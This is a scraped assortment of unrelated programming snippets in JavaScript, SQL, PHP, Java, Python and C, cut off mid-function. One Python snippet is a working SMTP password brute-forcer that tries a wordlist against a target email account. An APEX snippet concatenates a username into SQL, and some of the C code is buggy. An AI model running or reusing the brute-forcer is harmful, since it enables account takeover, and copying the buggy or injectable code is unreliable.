Snippets Collections
var jq = document.createElement('script');
jq.src = "https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js";
document.getElementsByTagName('head')[0].appendChild(jq);
// ... give time for script to load, then type (or see below for non wait option)
jQuery.noConflict();
import { useState } from "react";
import { PDFDocument } from "pdf-lib";

export default function Home() {
  const [pdfFileData, setPdfFileData] = useState();

  function readFileAsync(file) {
    return new Promise((resolve, reject) => {
      let reader = new FileReader();
      reader.onload = () => {
        resolve(reader.result);
      };
      reader.onerror = reject;
      reader.readAsArrayBuffer(file);
    });
  }

  function renderPdf(uint8array) {
    const tempblob = new Blob([uint8array], {
      type: "application/pdf",
    });
    const docUrl = URL.createObjectURL(tempblob);
    setPdfFileData(docUrl);
  }

  function range(start, end) {
    let length = end - start + 1;
    return Array.from({ length }, (_, i) => start + i - 1);
  }

  async function extractPdfPage(arrayBuff) {
    const pdfSrcDoc = await PDFDocument.load(arrayBuff);
    const pdfNewDoc = await PDFDocument.create();
    const pages = await pdfNewDoc.copyPages(pdfSrcDoc, range(2, 3));
    pages.forEach((page) => pdfNewDoc.addPage(page));
    const newpdf = await pdfNewDoc.save();
    return newpdf;
  }

  // Execute when user select a file
  const onFileSelected = async (e) => {
    const fileList = e.target.files;
    if (fileList?.length > 0) {
      const pdfArrayBuffer = await readFileAsync(fileList[0]);
      const newPdfDoc = await extractPdfPage(pdfArrayBuffer);
      renderPdf(newPdfDoc);
    }
  };

  return (
    <>
      <h1>Hello world</h1>
      <input
        type="file"
        id="file-selector"
        accept=".pdf"
        onChange={onFileSelected}
      />
      <iframe
        style={{ display: "block", width: "100vw", height: "90vh" }}
        title="PdfFrame"
        src={pdfFileData}
        frameborder="0"
        type="application/pdf"
      ></iframe>
    </>
  );
}
import React from 'react'
import { SketchPicker } from 'react-color'
 
class Component extends React.Component {
 
  render() {
    return <SketchPicker />
  }
}
SELECT *
from egv.transaction_data 
where day(updated_at) between '14' AND '27' and year = 2022 and month = 10
and operation like 'REDEEM%' and user_id IN ('U1903082105095713436208')

SELECT * 
from egv.gift_cards
where user_id IN ('U1903082105095713436208') OR purchasing_user_id in ('U1903082105095713436208')
and day(updated_at) between '14' AND '27' and year = 2022 and month = 1


SELECT user_id , sum(execution_amount) as total_amount_reedemed
from egv.transaction_data 
where day(updated_at) between '14' AND '27' and year = 2022 and month = 10
and operation like 'REDEEM%' 
group by user_id 
order by total_amount_reedemed desc 
limit 5 


set tez.queue.name=fra_analytics;
set hive.execution.engine=tez;


DROP TABLE if exists fraud.EGV_high_spent;
 
create table fraud.EGV_high_spent
STORED AS ORC
TBLPROPERTIES ("orc.compress" = "ZLIB")
as
SELECT distinct DATE_SUB('{{next_ds}}',7) starting_date 
,DATE_SUB('{{next_ds}}',1) ending_date
,active_days 
,'weekly' as date_range
,identifier
,'EGV_high_spent' red_flag 
,value
,'INR' comment
-- ,(case when d.identifier is null then 'New' else 'Repeat' end) as new_or_repeat
,'New' as new_or_repeat 
,'AML' as `group`
,'FRA' as `type`
,'Alerts' as type_fra
,'User' as issue_type
,'UPI' as sub_issue_type
,'{{next_ds}}' as run_date
from
    (select a.user_id as identifier
    ,a.active_days active_days
    ,a.value 
    from
        (SELECT  DATE_SUB('{{next_ds}}',7) starting_date ,
        DATE_SUB('{{next_ds}}',1) ending_date,
        user_id ,
        count(distinct date(updated_at)) as active_days,
        sum(execution_amount) as value
        from egv.transaction_data 
        where date(updated_at) between DATE_SUB('{{next_ds}}',7) AND DATE_SUB('{{next_ds}}',1) 
        and operation like 'REDEEM%' 
        group by user_id)a
     LEFT JOIN
        (select max(updated) tm, user_ext_id
        from users.users where blacklisted = 1
        and blacklist_reason = 'SAM'
        group by  user_ext_id)b 
    on a.user_id = b.user_ext_id
    left join 
        (select identifier from fraud.aml_freshdesk)d
    on a.user_id = d.identifier
    where b.user_ext_id IS NULL 
    AND d.identifier is null 
    order by value desc limit 3)c

  goHeader() {
    window.scroll({
      top: 0,
      left: 0,
      behavior: 'smooth'
    });

  }
# convert the 'Date' column to datetime format
df['Date']= pd.to_datetime(df['Date'])
 
# Check the format of 'Date' column
df.info()
service:
import { Injectable } from '@angular/core';
import { Observable, Subject } from 'rxjs';

@Injectable({
  providedIn: 'root'
})
export class PerfilService {


  private subject = new Subject<any>();
  bot: any;

  getOutEditPerson() {
    this.subject.next('');
  }

  getgetOutEditPerson(): Observable<any> {
    return this.subject.asObservable();
  }
}

ts envia:

constructor(
  private perfilService: PerfilService,
)

setClose() {
  this.perfilService.getOutEditWork();
}

ts recebe:
changeSubscriptionWork: Subscription;
constructor(
  private perfilService: PerfilService,
) {
  this.changeSubscriptionWork = this.perfilService.getgetOutEditPerson().subscribe(() => {
    this.logoutbtn = true;
    this.geralzone = true;
  });
}
https://cdnjs.com/

https://michalsnik.github.io/aos/

AOS.init({
  duration: 1200,
})

<div data-aos="fade-up"
     data-aos-duration="1400">
</div>
[products limit="3" columns="3" best_selling="true" ]
var args = []; // Empty array, at first.
for (var i = 0; i < arguments.length; i++) {
    args.push(arguments[i])
} // Now 'args' is an array that holds your arguments.
<select name="state_name" class="form-control" id="checkout-state" required="">
<option value="">Select State</option>
<option value="Andaman and Nicobar Islands">Andaman and Nicobar Islands</option>
<option value="Andhra Pradesh">Andhra Pradesh</option>
<option value="Arunachal Pradesh">Arunachal Pradesh</option>
<option value="Assam">Assam</option>
<option value="Bihar">Bihar</option>
<option value="Chandigarh">Chandigarh</option>
<option value="Chhattisgarh">Chhattisgarh</option>
<option value="Dadra and Nagar Haveli">Dadra and Nagar Haveli</option>
<option value="Daman and Diu">Daman and Diu</option>
<option value="Delhi">Delhi</option>
<option value="Goa">Goa</option>
<option value="Gujarat">Gujarat</option>
<option value="Haryana">Haryana</option>
<option value="Himachal Pradesh">Himachal Pradesh</option>
<option value="Jammu and Kashmir">Jammu and Kashmir</option>
<option value="Jharkhand">Jharkhand</option>
<option value="Karnataka">Karnataka</option>
<option value="Kerala">Kerala</option>
<option value="Lakshadweep">Lakshadweep</option>
<option value="Madhya Pradesh">Madhya Pradesh</option>
<option value="Maharashtra">Maharashtra</option>
<option value="Manipur">Manipur</option>
<option value="Meghalaya">Meghalaya</option>
<option value="Mizoram">Mizoram</option>
<option value="Nagaland">Nagaland</option>
<option value="Orissa">Orissa</option>
<option value="Pondicherry">Pondicherry</option>
<option value="Punjab">Punjab</option>
<option value="Rajasthan">Rajasthan</option>
<option value="Sikkim">Sikkim</option>
<option value="Tamil Nadu">Tamil Nadu</option>
<option value="Telangana">Telangana</option>
<option value="Tripura">Tripura</option>
<option value="Uttarakhand">Uttarakhand</option>
<option value="Uttar Pradesh">Uttar Pradesh</option>
<option value="West Bengal">West Bengal</option>



</select>

Andaman and Nicobar Islands
Andhra Pradesh
Arunachal Pradesh
Assam
Bihar
Chandigarh
Chhattisgarh
Dadra and Nagar Haveli
Daman and Diu
Delhi
Goa
Gujarat
Haryana
Himachal Pradesh
Jammu and Kashmir
Jharkhand
Karnataka
Kerala
Lakshadweep
Madhya Pradesh
Maharashtra
Manipur
Meghalaya
Mizoram
Nagaland
Orissa
Pondicherry
Punjab
Rajasthan
Sikkim
Tamil Nadu
Telangana
Tripura
Uttarakhand
Uttar Pradesh
West Bengal
<form method="post" action="/cart/add" class="col-button">
            <input type="hidden" name="id" value="{{ product.variants.first.id }}" />
            <input min="1" type="hidden" id="quantity" name="quantity" value="1"/>
            <input type="submit" value="Add to cart" class="btn add-to__cart" />
          </form>

.col-button .btn.add-to__cart {  padding: 8px 10px;
font-size: 14px;
text-transform: capitalize;
letter-spacing: 1px;
margin-left:10px;
/*     margin-right:10px; */
/*     margin-top: 15px; */
}
[data-type_product_capitalize="true"] .grid-product__title {
min-height:50px;
}

@media only screen and (max-width:480px){
[data-type_product_capitalize="true"] .grid-product__title {
display: -webkit-box;
-webkit-line-clamp: 2;
-webkit-box-orient: vertical;
overflow: hidden;
}
}

<form method="post" action="/cart/add" class="col-button">
            <input type="hidden" name="id" value="{{ product.variants.first.id }}" />
            <input min="1" type="hidden" id="quantity" name="quantity" value="1"/>
            <input type="submit" value="{% if product.variants.first.available%}Add to cart{% else %}Sold Out{% endif%}" class="btn add-to__cart"" {% unless product.variants.first.available %}disabled{% endunless %} />
          </form>
add_action('admin_init', function () {
    // Redirect any user trying to access comments page
    global $pagenow;
    
    if ($pagenow === 'edit-comments.php') {
        wp_safe_redirect(admin_url());
        exit;
    }

    // Remove comments metabox from dashboard
    remove_meta_box('dashboard_recent_comments', 'dashboard', 'normal');

    // Disable support for comments and trackbacks in post types
    foreach (get_post_types() as $post_type) {
        if (post_type_supports($post_type, 'comments')) {
            remove_post_type_support($post_type, 'comments');
            remove_post_type_support($post_type, 'trackbacks');
        }
    }
});

// Close comments on the front-end
add_filter('comments_open', '__return_false', 20, 2);
add_filter('pings_open', '__return_false', 20, 2);

// Hide existing comments
add_filter('comments_array', '__return_empty_array', 10, 2);

// Remove comments page in menu
add_action('admin_menu', function () {
    remove_menu_page('edit-comments.php');
});

// Remove comments links from admin bar
add_action('init', function () {
    if (is_admin_bar_showing()) {
        remove_action('admin_bar_menu', 'wp_admin_bar_comments_menu', 60);
    }
});
        $pdf = PDF::loadview('tenant.frontend.ticket.event-ticket', [
            'event_details' => $event_details])->setOptions([
                'defaultFont' => 'sans-serif','isRemoteEnabled'=>true
             ]);
        return $pdf->download('event-ticket.pdf');
create or replace trigger "AL_ITEM_UI"
AFTER
INSERT OR UPDATE on AL
FOR EACH ROW

BEGIN
 IF INSERTING THEN
      INSERT INTO ITEM   ( itemid,
                            itype,
                            named,
                            price,
                            puom,
                            suom,
                            puomdes,
                            suomdes,
                            sources,
                            component,
                            supplier,
                            parentid,
                            section,
                            inactive,
                            notes,
                            rcp_recalc,
                            conratio,
                            rtsb,
                            currency,
                            suom_convert,
                            cost_method
							)
							
   VALUES 				 (  :NEW.ID
						   , :NEW.itype
						   , :NEW.NAME
						   , :NEW.PRICE
						   , :NEW.PUOM
						   , :NEW.SUOM
						   , :NEW.PUOMDES
						   , :NEW.SUOMDES
						   , :NEW.SOURCER
						   , :NEW.COMPONENT
						   , :NEW.SUPPLIER
						   , :NEW.FROMID
						   , :NEW.SECTIONC
						   , :NEW.INACTIVE
						   , :NEW.NOTES
						   , :NEW.RCP_RECALC
						   , :NEW.CONRATIO
						   , :NEW.RTSB
						   , :NEW.CURRENCY
                           , :NEW.SUOMCONV
                           , :NEW.COST_METHOD
					       );
 ELSIF UPDATING THEN
      UPDATE ITEM
         SET               
                            itype=		:NEW.itype,
                            named=		:NEW.NAME,
                            price=		:NEW.PRICE,
                            puom=		:NEW.PUOM,
                            suom=		:NEW.SUOM,
                            puomdes=	:NEW.PUOMDES,
                            suomdes=	:NEW.SUOMDES,
                            sources=	:NEW.SOURCER,
                            component=	:NEW.COMPONENT,
                            supplier=	:NEW.SUPPLIER,
                            parentid=	:NEW.FROMID,
                            section=	:NEW.SECTIONC,
                            inactive=	:NEW.INACTIVE,
                            notes=		:NEW.NOTES,
                            rcp_recalc=	:NEW.RCP_RECALC,
                            conratio =	:NEW.CONRATIO,
                            rtsb =		:NEW.RTSB,
                            currency=	:NEW.CURRENCY,
                            cost_method=:NEW.COST_METHOD
					       ;
       END IF;

END;
Answer
I installed the last version of vue-cli which have a "public" folder. I also installed "vue-3d-model" by hujiulong and now it's working fine! :D

I don't know what was the issue, maybe Vue have restricted permission without a public folder ?
begin
    IF  APEX_ACL.HAS_USER_ROLE (p_role_static_id  => 'ADMINISTRATOR' )  THEN
        return 'select *  from ASSESSMENT_PLANS';
            
        ELSIF APEX_ACL.HAS_USER_ROLE (p_role_static_id  => 'MANAGER' ) THEN
        return 'select * from ASSESSMENT_PLANS where  PROGRAM_MANAGER ='|| APEX_CUSTOM_AUTH.GET_USERNAME ||';
        else
         return 'select * from ASSESSMENT_PLANS where ASSGINED_TO = '|| APEX_CUSTOM_AUTH.GET_USERNAME ||' AND STATUS = '''PENDING''';
    end if;

end;

function mediaQuery(element, value) {
  let x = document.querySelectorAll(element);

  x.forEach((item) => {
    if (window.matchMedia(`(max-width: ${value}px)`).matches) {
      item.classList.add('mobile');

    } else {
      item.classList.remove('mobile');
    }

  })

  return x;

}

// add class mobile to the element class hero on the screensize 600px
mediaQuery(".hero", 600);
import java.util.ArrayList;

class Lunch {
 
  public static ArrayList<String> removeAnts(ArrayList<String> lunchBox) {
    // Add your code below
  
    for (int i = 0; i < lunchBox.size(); i++) {
      if (lunchBox.get(i) == "ant"){
        lunchBox.remove(lunchBox.get(i));
        i--;    
      }
    }

   /*
    // Using a while loop
    int i = 0; 
    while (i < lunchBox.size()) {
      if (lunchBox.get(i) == "ant"){
        lunchBox.remove(lunchBox.get(i));
      } else {
        i++;
      }
    }
   */

    return lunchBox;
  }
 
  
  public static void main(String[] args) {
    ArrayList<String> lunchContainer = new ArrayList<String>();
    lunchContainer.add("apple");
    lunchContainer.add("ant");
    lunchContainer.add("ant");
    lunchContainer.add("sandwich");
    lunchContainer.add("ant");
    lunchContainer = removeAnts(lunchContainer);
    System.out.println(lunchContainer);

  }
}
import java.util.ArrayList;

class MostExpensive {
  
  public static void main(String[] args) {
    
    ArrayList<Double> expenses = new ArrayList<Double>();
    expenses.add(74.46);
    expenses.add(63.99);
    expenses.add(10.57);
    expenses.add(81.37);
    
    double mostExpensive = 0;
    
    // Iterate over expenses
    for (double expense : expenses) {
      
      if (expense > mostExpensive) {
        mostExpensive = expense;
      }
      
    }
    
    System.out.println(mostExpensive);
    
  }
  
}
#WHILE LOOPS
i=1

while i < 5:
    print(i)
    i+=1
print("\n")    

#FOR LOOPS    
#1
nome="diogo"
for letra in nome:
    print(letra)
print("\n")    
    
#2    
lista=["ola","diogo","teixeira"]
for palavra in lista:
    print(palavra)
print("\n")
 
#3
adjs=["nice", "top", "cool"]
nomes=["pedra","roda","bola"]

for adj in adjs:
    for nome in nomes:
        print(adj,nomes)
print("\n")

#4 (break)
nomes2=["ana","joao","hugo","pedro"]
for nomes in nomes2:
    print(nomes)
    if nomes=="hugo":
        break
print("\n")

#5 (conitnue)
for var in "Geeksforgeeks":
	if var == "e":
		continue
	print(var)

for i in range(1, 11):
	if i == 6:
		continue
	else:
		print(i, end=" ")

 
 
 
 
 
 
 
 
 
 
 
 
 
@FunctionalInterface
interface Function6<One, Two, Three, Four, Five, Six> {
    public Six apply(One one, Two two, Three three, Four four, Five five);
}

public static void main(String[] args) throws Exception {
    Function6<String, Integer, Double, Void, List<Float>, Character> func = (a, b, c, d, e) -> 'z';
}
#IF
nome = input ("Qual o teu nome?\n")

if nome == "Diogo":
    print("Olá, " + nome + ", sê bem vindo.") 
    
#IF + ELSE
if nome == "Diogo":
    print("Olá, " + nome + ", sê bem vindo.") 
else:
    print("Olá, " + nome + ", sai já daqui! Não és bem vindo.")
    
#IF + ELSE (Nested)
#Exemplo 1
nome = input ("Qual o teu nome?\n")

if nome == "Diogo":
    skill=input("Olá, " + nome + ". És capaz de programar?\n")
    if skill=="Sim":
        print("Sê bem vindo!") 
        exit()
    else:
        print("Não tem mal. Sempre podes aprender.")
else:
    print("Olá, " + nome + ", sai já daqui! Não és bem vindo.")
    
    
#IF + ELSE (Nested)   
#Exemplo 2
 preço=140

if preço>400:
    print("Tlmv caro.")
    
elif preço>200:
    if preço>350:
        print("Tlmv a bom preço.")
    elif preço > 300:
        print("Tlmv a excelente preço.")
    else:    
        print("Comprar já!!!")
        
else:
        print("Telemóvel estragado")
        
#Exemplo 2 simplificado
preço=100
        
if preço>=400:
    print("Tlmv caro.")

elif preço>300:
    if 400>preço>=350:
        print("Tlmv a bom preço.")
    else:
        print("Tlmv a excelente preço.")

else:
    print("Tlmv estragado") 
        
 #IF + ELSE (Not Nested)   
 order=input("Que quilhas queres?\n")
    
if order=="performer neo glass":
    price=79
    print("O preço é: " + str(price) + "€")
elif order=="performer neo carbon":
    price=99
    print("O preço é: " + str(price) + "€")
elif order=="performer glass":
    price=120
    print("O preço é: " + str(price) + "€")
else:
    print("Não temos essas quilhas.")
    
    

    
    
#!/usr/bin/python
# Dyrk.org 2016-2017

import smtplib

# Outlook.com
smtp_s   = 'smtp-mail.outlook.com'

# Gmail
# smtp_s = 'smtp.gmail.com'

smtp_p = 587
sender = 'target_adress@hotmail.com'
dico   = 'pwdlist.txt'

with open(dico) as f:
    for password in f:
        password = password.replace('\n', '')
        try:
            m = smtplib.SMTP(smtp_s, smtp_p)
            m.ehlo()
            m.starttls()
            m.login(sender, password)
            print '[OK] => ' + sender + ' : ' + password
            m.close()
            exit()
        except smtplib.SMTPAuthenticationError, e:
            if e[0] == 534:  # Gmail
                print '[OK] => ' + sender + ' : ' + password
                print e
                exit()
            else:
                print 'try ' + password + ' .... err. ' + str(e[0]) \
                    + '   >>>  ' + e[1]

			
#include <stdio.h>

int binarySearch(int array[], int x, int low, int high) {
  // Repeat until the pointers low and high meet each other
  while (low <= high) {
    int mid = low + (high - low) / 2;

    if (array[mid] == x)
      return mid;

    if (array[mid] < x)
      low = mid + 1;

    else
      high = mid - 1;
  }

  return -1;
}

int main(void) {
  int array[] = {3, 4, 5, 6, 7, 8, 9};
  int n = sizeof(array) / sizeof(array[0]);
  int x = 4;
  int result = binarySearch(array, x, 0, n - 1);
  if (result == -1)
    printf("Not found");
  else
    printf("Element is found at index %d", result);
  return 0;
}
#include <stdio.h>
int main()
{
  int array[100], search, c, n;

  printf("Enter number of elements in array\n");
  scanf("%d", &n);

  printf("Enter %d integer(s)\n", n);

  for (c = 0; c < n; c++)
    scanf("%d", &array[c]);

  printf("Enter a number to search\n");
  scanf("%d", &search);

  for (c = 0; c < n; c++)
  {
    if (array[c] == search)    /* If required element is found */
    {
      printf("%d is present at location %d.\n", search, c+1);
      break;
    }
  }
  if (c == n)
    printf("%d isn't present in the array.\n", search);

  return 0;
}
#include<stdio.h>  
#include<stdlib.h>  
struct node   
{  
    int data;  
    struct node *next;   
};  
struct node *head;  
  
void beginsert ();   
void lastinsert ();  
void randominsert();  
void begin_delete();  
void last_delete();  
void random_delete();  
void display();  
void search();  
void main ()  
{  
    int choice =0;  
    while(choice != 7)   
    {  
        printf("\n*********Main Menu*********\n");  
        printf("\nChoose one option from the following list ...\n");  
        printf("\n===============================================\n");  
        printf("\n1.Insert in begining\n2.Insert at last\n3.Delete from Beginning\n4.Delete from last\n5.Search for an element\n6.Show\n7.Exit\n");  
        printf("\nEnter your choice?\n");         
        scanf("\n%d",&choice);  
        switch(choice)  
        {  
            case 1:  
            beginsert();      
            break;  
            case 2:  
            lastinsert();         
            break;  
            case 3:  
            begin_delete();       
            break;  
            case 4:  
            last_delete();        
            break;  
            case 5:  
            search();         
            break;  
            case 6:  
            display();        
            break;  
            case 7:  
            exit(0);  
            break;  
            default:  
            printf("Please enter valid choice..");  
        }  
    }  
}  
void beginsert()  
{  
    struct node *ptr,*temp;   
    int item;   
    ptr = (struct node *)malloc(sizeof(struct node));  
    if(ptr == NULL)  
    {  
        printf("\nOVERFLOW");  
    }  
    else   
    {  
        printf("\nEnter the node data?");  
        scanf("%d",&item);  
        ptr -> data = item;  
        if(head == NULL)  
        {  
            head = ptr;  
            ptr -> next = head;  
        }  
        else   
        {     
            temp = head;  
            while(temp->next != head)  
                temp = temp->next;  
            ptr->next = head;   
            temp -> next = ptr;   
            head = ptr;  
        }   
        printf("\nnode inserted\n");  
    }  
              
}  
void lastinsert()  
{  
    struct node *ptr,*temp;   
    int item;  
    ptr = (struct node *)malloc(sizeof(struct node));  
    if(ptr == NULL)  
    {  
        printf("\nOVERFLOW\n");  
    }  
    else  
    {  
        printf("\nEnter Data?");  
        scanf("%d",&item);  
        ptr->data = item;  
        if(head == NULL)  
        {  
            head = ptr;  
            ptr -> next = head;    
        }  
        else  
        {  
            temp = head;  
            while(temp -> next != head)  
            {  
                temp = temp -> next;  
            }  
            temp -> next = ptr;   
            ptr -> next = head;  
        }  
          
        printf("\nnode inserted\n");  
    }  
  
}  
  
void begin_delete()  
{  
    struct node *ptr;   
    if(head == NULL)  
    {  
        printf("\nUNDERFLOW");    
    }  
    else if(head->next == head)  
    {  
        head = NULL;  
        free(head);  
        printf("\nnode deleted\n");  
    }  
      
    else  
    {   ptr = head;   
        while(ptr -> next != head)  
            ptr = ptr -> next;   
        ptr->next = head->next;  
        free(head);  
        head = ptr->next;  
        printf("\nnode deleted\n");  
  
    }  
}  
void last_delete()  
{  
    struct node *ptr, *preptr;  
    if(head==NULL)  
    {  
        printf("\nUNDERFLOW");  
    }  
    else if (head ->next == head)  
    {  
        head = NULL;  
        free(head);  
        printf("\nnode deleted\n");  
  
    }  
    else   
    {  
        ptr = head;  
        while(ptr ->next != head)  
        {  
            preptr=ptr;  
            ptr = ptr->next;  
        }  
        preptr->next = ptr -> next;  
        free(ptr);  
        printf("\nnode deleted\n");  
  
    }  
}  
  
void search()  
{  
    struct node *ptr;  
    int item,i=0,flag=1;  
    ptr = head;   
    if(ptr == NULL)  
    {  
        printf("\nEmpty List\n");  
    }  
    else  
    {   
        printf("\nEnter item which you want to search?\n");   
        scanf("%d",&item);  
        if(head ->data == item)  
        {  
        printf("item found at location %d",i+1);  
        flag=0;  
        }  
        else   
        {  
        while (ptr->next != head)  
        {  
            if(ptr->data == item)  
            {  
                printf("item found at location %d ",i+1);  
                flag=0;  
                break;  
            }   
            else  
            {  
                flag=1;  
            }  
            i++;  
            ptr = ptr -> next;  
        }  
        }  
        if(flag != 0)  
        {  
            printf("Item not found\n");  
        }  
    }     
          
}  
  
void display()  
{  
    struct node *ptr;  
    ptr=head;  
    if(head == NULL)  
    {  
        printf("\nnothing to print");  
    }     
    else  
    {  
        printf("\n printing values ... \n");  
          
        while(ptr -> next != head)  
        {  
          
            printf("%d\n", ptr -> data);  
            ptr = ptr -> next;  
        }  
        printf("%d\n", ptr -> data);  
    }  
              
}  
#include<stdio.h>  
#include<stdlib.h>  
struct node  
{  
    struct node *prev;  
    struct node *next;  
    int data;  
};  
struct node *head;  
void insertion_beginning();  
void insertion_last();  
void insertion_specified();  
void deletion_beginning();  
void deletion_last();  
void deletion_specified();  
void display();  
void search();  
void main ()  
{  
int choice =0;  
    while(choice != 9)  
    {  
        printf("\n*********Main Menu*********\n");  
        printf("\nChoose one option from the following list ...\n");  
        printf("\n===============================================\n");  
        printf("\n1.Insert in begining\n2.Insert at last\n3.Insert at any random location\n4.Delete from Beginning\n  
        5.Delete from last\n6.Delete the node after the given data\n7.Search\n8.Show\n9.Exit\n");  
        printf("\nEnter your choice?\n");  
        scanf("\n%d",&choice);  
        switch(choice)  
        {  
            case 1:  
            insertion_beginning();  
            break;  
            case 2:  
                    insertion_last();  
            break;  
            case 3:  
            insertion_specified();  
            break;  
            case 4:  
            deletion_beginning();  
            break;  
            case 5:  
            deletion_last();  
            break;  
            case 6:  
            deletion_specified();  
            break;  
            case 7:  
            search();  
            break;  
            case 8:  
            display();  
            break;  
            case 9:  
            exit(0);  
            break;  
            default:  
            printf("Please enter valid choice..");  
        }  
    }  
}  
void insertion_beginning()  
{  
   struct node *ptr;   
   int item;  
   ptr = (struct node *)malloc(sizeof(struct node));  
   if(ptr == NULL)  
   {  
       printf("\nOVERFLOW");  
   }  
   else  
   {  
    printf("\nEnter Item value");  
    scanf("%d",&item);  
      
   if(head==NULL)  
   {  
       ptr->next = NULL;  
       ptr->prev=NULL;  
       ptr->data=item;  
       head=ptr;  
   }  
   else   
   {  
       ptr->data=item;  
       ptr->prev=NULL;  
       ptr->next = head;  
       head->prev=ptr;  
       head=ptr;  
   }  
   printf("\nNode inserted\n");  
}  
     
}  
void insertion_last()  
{  
   struct node *ptr,*temp;  
   int item;  
   ptr = (struct node *) malloc(sizeof(struct node));  
   if(ptr == NULL)  
   {  
       printf("\nOVERFLOW");  
   }  
   else  
   {  
       printf("\nEnter value");  
       scanf("%d",&item);  
        ptr->data=item;  
       if(head == NULL)  
       {  
           ptr->next = NULL;  
           ptr->prev = NULL;  
           head = ptr;  
       }  
       else  
       {  
          temp = head;  
          while(temp->next!=NULL)  
          {  
              temp = temp->next;  
          }  
          temp->next = ptr;  
          ptr ->prev=temp;  
          ptr->next = NULL;  
          }  
             
       }  
     printf("\nnode inserted\n");  
    }  
void insertion_specified()  
{  
   struct node *ptr,*temp;  
   int item,loc,i;  
   ptr = (struct node *)malloc(sizeof(struct node));  
   if(ptr == NULL)  
   {  
       printf("\n OVERFLOW");  
   }  
   else  
   {  
       temp=head;  
       printf("Enter the location");  
       scanf("%d",&loc);  
       for(i=0;i<loc;i++)  
       {  
           temp = temp->next;  
           if(temp == NULL)  
           {  
               printf("\n There are less than %d elements", loc);  
               return;  
           }  
       }  
       printf("Enter value");  
       scanf("%d",&item);  
       ptr->data = item;  
       ptr->next = temp->next;  
       ptr -> prev = temp;  
       temp->next = ptr;  
       temp->next->prev=ptr;  
       printf("\nnode inserted\n");  
   }  
}  
void deletion_beginning()  
{  
    struct node *ptr;  
    if(head == NULL)  
    {  
        printf("\n UNDERFLOW");  
    }  
    else if(head->next == NULL)  
    {  
        head = NULL;   
        free(head);  
        printf("\nnode deleted\n");  
    }  
    else  
    {  
        ptr = head;  
        head = head -> next;  
        head -> prev = NULL;  
        free(ptr);  
        printf("\nnode deleted\n");  
    }  
  
}  
void deletion_last()  
{  
    struct node *ptr;  
    if(head == NULL)  
    {  
        printf("\n UNDERFLOW");  
    }  
    else if(head->next == NULL)  
    {  
        head = NULL;   
        free(head);   
        printf("\nnode deleted\n");  
    }  
    else   
    {  
        ptr = head;   
        if(ptr->next != NULL)  
        {  
            ptr = ptr -> next;   
        }  
        ptr -> prev -> next = NULL;   
        free(ptr);  
        printf("\nnode deleted\n");  
    }  
}  
void deletion_specified()  
{  
    struct node *ptr, *temp;  
    int val;  
    printf("\n Enter the data after which the node is to be deleted : ");  
    scanf("%d", &val);  
    ptr = head;  
    while(ptr -> data != val)  
    ptr = ptr -> next;  
    if(ptr -> next == NULL)  
    {  
        printf("\nCan't delete\n");  
    }  
    else if(ptr -> next -> next == NULL)  
    {  
        ptr ->next = NULL;  
    }  
    else  
    {   
        temp = ptr -> next;  
        ptr -> next = temp -> next;  
        temp -> next -> prev = ptr;  
        free(temp);  
        printf("\nnode deleted\n");  
    }     
}  
void display()  
{  
    struct node *ptr;  
    printf("\n printing values...\n");  
    ptr = head;  
    while(ptr != NULL)  
    {  
        printf("%d\n",ptr->data);  
        ptr=ptr->next;  
    }  
}   
void search()  
{  
    struct node *ptr;  
    int item,i=0,flag;  
    ptr = head;   
    if(ptr == NULL)  
    {  
        printf("\nEmpty List\n");  
    }  
    else  
    {   
        printf("\nEnter item which you want to search?\n");   
        scanf("%d",&item);  
        while (ptr!=NULL)  
        {  
            if(ptr->data == item)  
            {  
                printf("\nitem found at location %d ",i+1);  
                flag=0;  
                break;  
            }   
            else  
            {  
                flag=1;  
            }  
            i++;  
            ptr = ptr -> next;  
        }  
        if(flag==1)  
        {  
            printf("\nItem not found\n");  
        }  
    }     
          
}  
#include<stdio.h>  
#include<stdlib.h>  
struct node   
{  
    int data;  
    struct node *next;   
};  
struct node *head;  
  
void beginsert ();   
void lastinsert ();  
void randominsert();  
void begin_delete();  
void last_delete();  
void random_delete();  
void display();  
void search();  
void main ()  
{  
    int choice =0;  
    while(choice != 9)   
    {  
        printf("\n\n*********Main Menu*********\n");  
        printf("\nChoose one option from the following list ...\n");  
        printf("\n===============================================\n");  
        printf("\n1.Insert in begining\n2.Insert at last\n3.Insert at any random location\n4.Delete from Beginning\n  
        5.Delete from last\n6.Delete node after specified location\n7.Search for an element\n8.Show\n9.Exit\n");  
        printf("\nEnter your choice?\n");         
        scanf("\n%d",&choice);  
        switch(choice)  
        {  
            case 1:  
            beginsert();      
            break;  
            case 2:  
            lastinsert();         
            break;  
            case 3:  
            randominsert();       
            break;  
            case 4:  
            begin_delete();       
            break;  
            case 5:  
            last_delete();        
            break;  
            case 6:  
            random_delete();          
            break;  
            case 7:  
            search();         
            break;  
            case 8:  
            display();        
            break;  
            case 9:  
            exit(0);  
            break;  
            default:  
            printf("Please enter valid choice..");  
        }  
    }  
}  
void beginsert()  
{  
    struct node *ptr;  
    int item;  
    ptr = (struct node *) malloc(sizeof(struct node *));  
    if(ptr == NULL)  
    {  
        printf("\nOVERFLOW");  
    }  
    else  
    {  
        printf("\nEnter value\n");    
        scanf("%d",&item);    
        ptr->data = item;  
        ptr->next = head;  
        head = ptr;  
        printf("\nNode inserted");  
    }  
      
}  
void lastinsert()  
{  
    struct node *ptr,*temp;  
    int item;     
    ptr = (struct node*)malloc(sizeof(struct node));      
    if(ptr == NULL)  
    {  
        printf("\nOVERFLOW");     
    }  
    else  
    {  
        printf("\nEnter value?\n");  
        scanf("%d",&item);  
        ptr->data = item;  
        if(head == NULL)  
        {  
            ptr -> next = NULL;  
            head = ptr;  
            printf("\nNode inserted");  
        }  
        else  
        {  
            temp = head;  
            while (temp -> next != NULL)  
            {  
                temp = temp -> next;  
            }  
            temp->next = ptr;  
            ptr->next = NULL;  
            printf("\nNode inserted");  
          
        }  
    }  
}  
void randominsert()  
{  
    int i,loc,item;   
    struct node *ptr, *temp;  
    ptr = (struct node *) malloc (sizeof(struct node));  
    if(ptr == NULL)  
    {  
        printf("\nOVERFLOW");  
    }  
    else  
    {  
        printf("\nEnter element value");  
        scanf("%d",&item);  
        ptr->data = item;  
        printf("\nEnter the location after which you want to insert ");  
        scanf("\n%d",&loc);  
        temp=head;  
        for(i=0;i<loc;i++)  
        {  
            temp = temp->next;  
            if(temp == NULL)  
            {  
                printf("\ncan't insert\n");  
                return;  
            }  
          
        }  
        ptr ->next = temp ->next;   
        temp ->next = ptr;   
        printf("\nNode inserted");  
    }  
}  
void begin_delete()  
{  
    struct node *ptr;  
